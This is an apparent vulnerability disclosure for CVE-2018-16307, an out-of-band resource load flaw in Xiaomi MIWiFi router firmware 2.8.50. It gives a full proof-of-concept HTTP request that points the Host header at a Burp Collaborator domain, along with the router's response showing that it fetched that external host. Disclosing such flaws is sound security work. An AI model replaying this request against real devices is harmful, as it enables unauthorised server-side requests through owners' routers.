CVE: CVE-2018-16307 Issue: Out-of-band resource load Product affected: MIWiFi Xiaomi_55DD Version 2.8.50 Summary: An "Out-of-band resource load" issue was discovered on Xiaomi MIWiFi Xiaomi_55DD Version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response. ## Request POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.31.1/cgi-bin/luci/web/home Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 126 Cookie: __guid=86847064.3826147368769525000.1535781606575.13; monitor_count=9; psp=admin|||2|||0 Connection: close username=admin&password=b2e8d6e552db587f3c283ce59c4d08fcbaf2cc9e&logtype=2&nonce=0_4c%3Abb%3A58%3A47%3A39%3A84_1535785091_2732 ## Response HTTP/1.1 200 OK Content-Type: text/html Content-Length: 62 Connection: close Server: Burp Collaborator https://burpcollaborator.net/ X-Collaborator-Version: 4 Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache MiCGI-Switch: 1 0 MiCGI-TproxyInfo: 192.168.31.1:80 MiCGI-Upstream: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Client-Ip: 192.168.31.237 MiCGI-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Http-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Server-Ip: 192.168.31.1 MiCGI-Server-Port: 80 MiCGI-Status: AUTOPROXY MiCGI-Preload: no x4e809xt6zpgky5b16f6dezjlglgkugifigz